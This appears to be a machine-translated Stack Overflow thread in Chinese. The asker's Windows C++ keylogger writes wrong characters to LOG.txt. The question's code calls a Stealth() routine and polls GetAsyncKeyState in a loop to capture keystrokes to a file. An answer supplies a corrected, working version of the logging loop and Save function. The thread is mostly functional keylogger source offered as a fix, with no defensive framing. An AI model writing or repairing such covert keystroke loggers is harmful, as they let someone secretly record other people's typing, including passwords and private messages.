C ++键盘记录器无法正常工作

c++ keylogger not working correct

本文关键字:常工作 工作 键盘 记录器      更新时间:2023-10-16

我一直是stackoverflow的访问者,这是我在这个网站上的第一个问题:)我正在尝试编写一个键盘记录器,它将按下的键保存在.txt文件中,但问题是这个。我用cout检查cmd.exe上的输出,我看到它工作正常,但是当我打开LOG.txt文件时,我看到程序将abcdefgh打印为012345678。只有这些非大写字母不起作用。文件中正确打印了所有其他键。这是我的主要功能:

int main()
{
Stealth();
//Focus();
char i;
while (1)
{
    for(i = 8; i <= 255; i++){      
        if (GetAsyncKeyState(i) == -32767){     
            i=_getch();
            cout << i << endl;
            Save(i,"LOG.txt");
        }
    }
}
system("pause");
return 0;
}

保存功能:

int Save(int key, char *file)
{   
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}
到目前为止,

我认为有一件事是错误的,而有几件事我会做不同的事情。首先,我认为我不会让它在每次写入单个字符时打开和关闭文件。

其次(错误的错误),是调用fprintf指定字符串%s并为其提供整数指针&key。应该fprintf(OUTPUT_FILE, "%c", (char)key)一个简单的修复,尽管存在更优雅的解决方案来放置单个字符,即putc

我直言,这段代码中有一个主要问题:您将i用作循环索引,并在循环中更改其值。

另一个问题是你的Save函数是完全错误的。

在我自己的盒子上,以下代码正确显示按下的键,并将它们记录到文件LOG.txt

int Save(int key, char *file)
{   
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a");
fprintf(OUTPUT_FILE, " %c (%02x)", key, key);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
//Stealth();
//Focus();
char i;
// truncate log file
fd = fopen("LOG.txt", "w");
fclose(fd);
while (1)
{
    for(i = 8; i <= 255; i++){      
        if (GetAsyncKeyState(i) == -32767){     
            //i=_getch();
            cout << i << endl;
            Save(i,"LOG.txt");
        }
    }
}
// system("pause"); never used ...
return 0;
}

当然,我必须按 Ctrl-C 或 Ctrl-Break 才能停止程序,非字母数字键会显示奇怪的符号......

但是当我输入 ABCDEFGH012345678 然后 Ctrl-C(不使用数字键盘)时,我在 LOG 中得到如预期的那样.txt :

A (41) B (42) C (43) D (44) E (45) F (46) G (47)

H (48) 0 (30) 1 (31) 2 (32) 3 (33) 4 (34) 5 (35) 6 (36) 7 (37) 8 (38) .(十一)

代表的最后一个字符是 Ctrl,这里是一个点.但实际上是一个正方形......